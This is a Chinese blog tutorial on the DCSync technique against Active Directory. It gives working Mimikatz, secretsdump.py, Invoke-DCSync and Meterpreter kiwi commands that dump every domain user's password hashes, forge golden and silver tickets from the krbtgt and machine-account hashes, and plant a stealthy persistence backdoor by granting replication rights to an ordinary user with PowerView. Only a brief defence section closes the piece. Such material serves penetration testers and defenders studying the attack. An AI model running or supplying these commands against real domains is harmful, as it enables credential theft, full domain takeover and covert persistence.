<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網滲透測試:DCSync 攻擊技術的利用

    一顆小胡椒2022-03-03 06:13:40

    DCSync 是什么

    在域環境中,不同域控制器(DC)之間,每 15 分鐘都會有一次域數據的同步。當一個域控制器(DC 1)想從其他域控制器(DC 2)獲取數據時,DC 1 會向 DC 2 發起一個 GetNCChanges 請求,該請求的數據包括需要同步的數據。如果需要同步的數據比較多,則會重復上述過程。DCSync 就是利用的這個原理,通過 Directory Replication Service(DRS) 服務的 GetNCChanges 接口向域控發起數據同步請求。

    DCSync 是域滲透中經常會用到的技術,其被整合在了 Mimikatz 中。在 DCSync 功能出現之前,要想獲得域用戶的哈希,需要登錄域控制器,在域控制器上執行代碼才能獲得域用戶的哈希。

    2015 年 8 月,Benjamin Delpy(神器 Mimikatz 的作者)和 Vincent Le Toux 發布了新版本的 Mimikatz,新增加了 DCSync 功能。該功能可以模仿一個域控制器,從真實的域控制器中請求數據,例如用戶的哈希。該功能最大的特點就是不用登陸域控制器,即可遠程通過域數據同步復制的方式獲得域控制器上的的數據。

    注意:DCSync 攻擊的對象如果是只讀域控制器 (RODC),則會失效,因為 RODC 是不能參與復制同步數據到其他 DC 的。

    在默認情況下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 組內的用戶有權限使用 DCSync,但我們可以對域內普通用戶添加 ACL (Access Control List) 實現普通用戶也能調用 DCSync 功能。

    利用 DCSync 導出域內哈希

    當我們獲取相應的權限后,可以利用 DCSync 功能導出域內用戶的哈希值。其原理就是利用 DRS (Directory Replication Service)協議通過 IDL_DRSGetNCChanges 從域控制器復制用戶哈希憑據。獲得了域內用戶的哈希后可以進一步利用。

    通過 Mimikatz

    在獲取權限的域成員主機上執行如下:

    # 導出域內指定用戶的信息(包括哈希值)
    lsadump::dcsync /domain:whoamianony.org /user:administrator 
    lsadump::dcsync /domain:whoamianony.org /user:administrator /csv
     
    # 導出域內所有用戶的信息(包括哈希值)
    lsadump::dcsync /domain:whoamianony.org /all    
    lsadump::dcsync /domain:whoamianony.org /all /csv
    

    image-20210824183902976

    如上圖所示,成功獲取 Administrator 用戶的 NTLM 哈希。

    通過 Secretsdump.py

    • 項目地址:https://github.com/SecureAuthCorp/impacket/tree/impacket_0_9_22

    Secretsdump.py 是 Impacket 框架中的一個腳本,該腳本也可以通過 DCSync 技術導出域控制器上用戶的哈希。該工具的原理是首先使用提供的用戶登錄憑據通過 smbexec 或者 wmiexec 遠程連接至域控制器并獲得高權限,進而從注冊表中導出本地帳戶的哈希,同時通過 Dcsync 或從 NTDS.dit 文件中導出所有域用戶的哈希。其最大的優點是支持從域外的計算機連接至域控制器。

    使用方法如下:

    python3 secretsdump.py whoamianony/administrator:Whoami2021@192.168.93.30 -dc-ip 192.168.93.30 -just-dc-user administrator    # 獲取 administrator 用戶的哈希
    # python3 secretsdump.py domain/:password@ -dc-ip  -just-dc-user 
    

    image-20210824233919549

    python3 secretsdump.py whoamianony/administrator:Whoami2021@192.168.93.30    # 獲取所有域用戶哈希, 包括機器用戶
    

    image-20210825114427329

    通過 PowerShell

    • 項目地址:https://gist.github.com/monoxgas/9d238accd969550136db#file-invoke-dcsync-ps1

    該腳本可以通過 Invoke-ReflectivePEinjection 調用 mimikatz.dll 中的 DCSync 功能

    在獲取權限的域成員主機上執行如下命令即可:

    Import-Module .\Invoke-DCSync.ps1
    # 導出域內所有用戶的哈希值
    Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize
    # 導出域內指定用戶的哈希值
    Invoke-DCSync -DumpForest | ft -wrap -autosize
    

    利用 DCSync 制作黃金票據

    在域滲透中,我們可以通過 DCSync 導出域控制器中 krbtgt 賬戶的哈希,并利用 krbtgt 賬戶的哈希制作黃金票據。

    黃金票據的詳情請看:《內網滲透測試:Kerberos協議相關安全問題分析與利用》

    測試環境如下:

    image-20210824221346483

    假設攻擊者已經拿下了內網主機 Windows 10,下面演示如何在內網中利用 DCSync 制作黃金票據來訪問 DC 上的資源。

    拿下 Windows 10 主機之后,我們加載 kiwi 模塊:

    load kiwi
    

    image-20210824213230936

    然后通過 kiwi_cmd 執行 Mimikatz 命令,使用 Mimikatz 的 DCSync 功能導出域控制器中 krbtgt 賬戶的哈希:

    kiwi_cmd "lsadump::dcsync /domain:whoamianony.org /user:krbtgt"
    

    image-20210824214421165

    然后我們便可以通過 krbtgt 賬戶的哈希生成黃金票據了:

    golden_ticket_create -u Administrator -d whoamianony.org -s S-1-5-21-1315137663-3706837544-1429009142 -k 6be58bfcc0a164af2408d1d3bd313c2a -t gold.tck
    

    執行后生成的票據會咱是存放在你的 Kali 上,然后執行以下命令,清空目標主機上的票據:

    kerberos_ticket_purge
    

    image-20210824215536411

    最后使用 kerberos_ticket_use 注入剛才生成的票據即可:

    kerberos_ticket_use gold.tck
    

    image-20210824215648481

    如上圖所示,票據成功注入。此時,攻擊者就可以利用 Windows 7 任意訪問域控上的資源了:

    dir \\DC\c$
    

    image-20210824220003150

    有了黃金票據之后的操作就簡單了,懂得都懂!

    利用 DCSync 進行域內權限維持

    我們前面說了,要想利用 DCSync 功能,得要擁有 Administrators、Domain Controllers 或 Enterprise Domain Admins 組內的用戶權限。但是我們就不能讓普通域用戶擁有 DCSync 的操作權限嗎?當然可以!

    當我們獲得了域內管理員權限后,我們可以修改域內普通用戶的權限,使其具有 DCSync 操作權限,那么普通域用戶也能導出域內用戶的信息了,這樣可以可以做一個隱蔽的后門進行權限維持。具體做法就是為普通域用戶添加三條 ACE 訪問控制項:

    • DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
    • DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
    • DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

    我們可以通過 Empire 框架中的 PowerView.ps1 腳本實現:

    Import-Module .\powerview.ps1# 為域用戶 whoami 添加以上三條 ACEAdd-DomainObjectAcl -TargetIdentity "DC=whoamianony,DC=org" -PrincipalIdentity whoami -Rights DCSync -Verbose # 為域用戶 whoami 刪除以上三條 ACERemove-DomainObjectAcl -TargetIdentity "DC=whoamianony,DC=org" -PrincipalIdentity whoami -Rights DCSync -Verbose
    

    image-20210824231710066

    此時域用戶 whoami 便具有了 DCSync 權限。之后便可以用這個 whoami 用戶的權限進行 DCSync 攻擊了。

    • 我們可以利用 whoami 用戶的身份,通過 Secretsdump.py 的 DCSync 功能導出 DC 上的用戶哈希。
    python3 secretsdump.py whoamianony/whoami:Whoami2021@192.168.93.30 -dc-ip 192.168.93.30 -just-dc-user administrator
    

    image-20210824232653186

    • 還可以先使用 runas 實現登錄 whoami 用戶,然后再使用 DCSync。

    首先執行以下命令彈出一個 whoami 用戶登錄權限的 CMD:

    runas /noprofile /user:whoamianony\whoami cmd
    

    然后在彈出的 CMD 中執行 Mimikatz 進行 DCSync 即可:

    mimikatz.exe privilege::debug "lsadump::dcsync /domain:whoamianony.org /all /csv" exit
    

    image-20210824235724341

    • 同樣,也可以先使用 PowerShell 實現登錄 whoami 用戶,然后再使用 DCSync。

    首先執行以下命令彈出一個 whoami 用戶登錄權限的 CMD:

    $uname="whoamianony\whoami"$pwd=ConvertTo-SecureString "Whoami2021" -AsPlainText –Force$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)Start-Process -FilePath "cmd.exe" -Credential $cred
    

    然后再彈出的 CMD 中執行 Mimikatz 進行 DCSync 即可:

    mimikatz.exe privilege::debug "lsadump::dcsync /domain:whoamianony.org /all /csv" exit
    

    查詢域內具有 DCSync 權限的用戶

    我們可以使用 Adfind 來查詢域內具有 DCSync 權限的用戶:

    AdFind.exe -s subtree -b "DC=whoamianony,DC=org" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmuteAdFind.exe -s subtree -b "DC=whoamianony,DC=org" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"DS-Replication-Get-Changes";; -recmute
    

    image-20210825101308313

    使用機器賬戶(MachineAccount)實現 DCSync

    MachineAccount 即機器賬號、計算機賬號,是每臺計算機在安裝系統后默認生成的帳戶。所有加入域的也主機都會有一個機器用戶,用戶名為機器名加 $,如:WIN7$WINXP$ 。

    計算機帳戶的密碼存儲在注冊表中的位置為:

    HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\$machine.ACC# 該注冊表鍵路徑只能在 SYSTEM 權限下訪問
    

    如果計算機加入域中,會將計算機帳戶的密碼同步到域控制器并保存在域控制器的 NTDS.dit 活動目錄數據庫文件中。計算機帳戶的密碼默認每 30 天自動更新,密碼長度為 120 個字符,所以即使我們獲得了計算機帳戶密碼的哈希值,也幾乎無法還原出計算機帳戶的明文口令。

    要使用機器賬戶實現 DCSync,首先要做的就是獲取機器賬戶身份的權限,然后再利用機器賬戶的身份進行 DCSync 操作。下面進行具體的演示。

    首先獲取 MachineAccount 的密碼哈希

    • 可以直接在域控上使用 Mimikatz 通過注冊表文件導出當前計算機帳戶的密碼哈希。
    privilege::debugtoken::elevatelsadump::secrets
    

    image-20210825120150485

    • 也可以在域成員主機上利用 DCSync 導出所有計算機帳戶的密碼哈希。
    mimikatz.exe "lsadump::dcsync /domain:whoamianony.org /all /csv"
    

    image-20210825120249611

    python3 secretsdump.py whoamianony/administrator:Whoami2021@192.168.93.30
    

    image-20210825115038010

    然后使用 MachineAccount 進行 DCSync

    有了機器賬號的密碼哈希后,我們需要想辦法登錄到這個機器賬號,由于無法破解哈希,我們可以使用白銀票據的方法。

    利用方式如下:

    mimikatz "kerberos::golden /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /target:DC.whoamianony.org /service:LDAP /rc4:8e89dfbe74fcae2e993ea2aa47b6a9c1 /user:krbtgt /ptt" "lsadump::dcsync /domain:whoamianony.org /all /csv" exit
    
    白銀票據的詳情請看:《內網滲透測試:Kerberos協議相關安全問題分析與利用》

    image-20210825121006293

    image-20210825121035072

    也可以通過 secretsdump,使用機器賬戶的哈希從域外的計算機連接至域控制器導出哈希:

    python3 secretsdump.py -hashes :8e89dfbe74fcae2e993ea2aa47b6a9c1 whoamianony/DC$@192.168.93.30
    

    注意:如果使用域內普通計算機帳戶的密碼哈希連接對應的計算機,那么會失敗。

    DCSync 的防御

    DCSync 攻擊的原理是模擬域控制器與域控制器之間的數據同步復制。最好的防御方法是給控制器設置白名單,將可信任的資產設置在允許同步的白名單內。

    除此之外,我們還應嘗試枚舉 Active Directory 中所有用戶的 ACL 查詢出所有特權帳戶,檢測域內被添加 DCSync 權限的用戶。Github 上有一個項目 ACLight 便提供了這樣的功能,只需執行項目中的 Execute-ACLight2.bat,便會生成以下三個文件:

    • Privileged Accounts - Layers Analysis.txt
    • Privileged Accounts Permissions - Final Report.csv
    • Privileged Accounts Permissions - Irregular Accounts.csv

    文件中會顯示出所有特權帳戶。


    域控制器滲透測試
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    導出域內所有用戶的信息。該工具的原理是首先使用提供的用戶登錄憑據通過 smbexec 或者 wmiexec 遠程連接至域控制器并獲得高權限,進而從注冊表中導出本地帳戶的哈希,同時通過 Dcsync 或從 NTDS.dit 文件中導出所有域用戶的哈希。
    前言在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起 DNS 請求,這個時候就可以通過這種方式把想獲得的數據外帶出來。DNS 的全稱是 Domain Name System,它作為將域名和IP地址相互映射,使人更方便地訪問互聯網。當用戶輸入某一網址如 www.baidu.com,網絡上的 DNS Server 會將該域名解析,并找到對應的真實 IP 如 127.0.0.1,使用戶可以訪問這臺服務器上相應的服務。了解到了什么是 DNS,那么什么又是 DNSlog 呢?
    聲明:該公眾號大部分文章來自作者日常學習筆記,也有少部分文章是經過原作者授權和其他公眾號白名單轉載,未經授權
    滲透測試流程:滲透測試與入侵的最大區別目標對象分析:web方向信息收集:整個網站站分析:谷歌黑客:采集相關url的同類網站:滲透測試一般流程:如何繞過CDN查真實IP:
    內網滲透TIPS總結
    2023-01-28 11:00:41
    內網基礎知識1、工作組:工作組是 局域網 中的一個概念,他是長久的資源管理模式。默認情況下使用工作組方式進行資源管理,將不同的 computer 按照不同的要求分類到不同的組。而實際上,因為域名的計算機是使用DNS 來定位域控制器、服務器及其他計算機、網絡服務的,所以域的名字就是DNS 域的名字。在內網滲透測試中,大都是通過尋找 DNS 服務器來確定域控制器的位置的。
    因為 web 服務器同時連接了外網和內網,所以必須首先拿下。這里有關 web 服務器的滲透不展開講了,無非也就是利用漏洞,諸如:弱口令、上傳漏洞、遠程代碼執行、各種 cms 漏洞,總之都是可以找到寫入 webshell 的方法。成功寫入 webshell 后,接著就要上傳木馬控制 web 服務器,這里可以用 Metasploit或 Cobaltstrike。
    十種漏洞分析總結
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类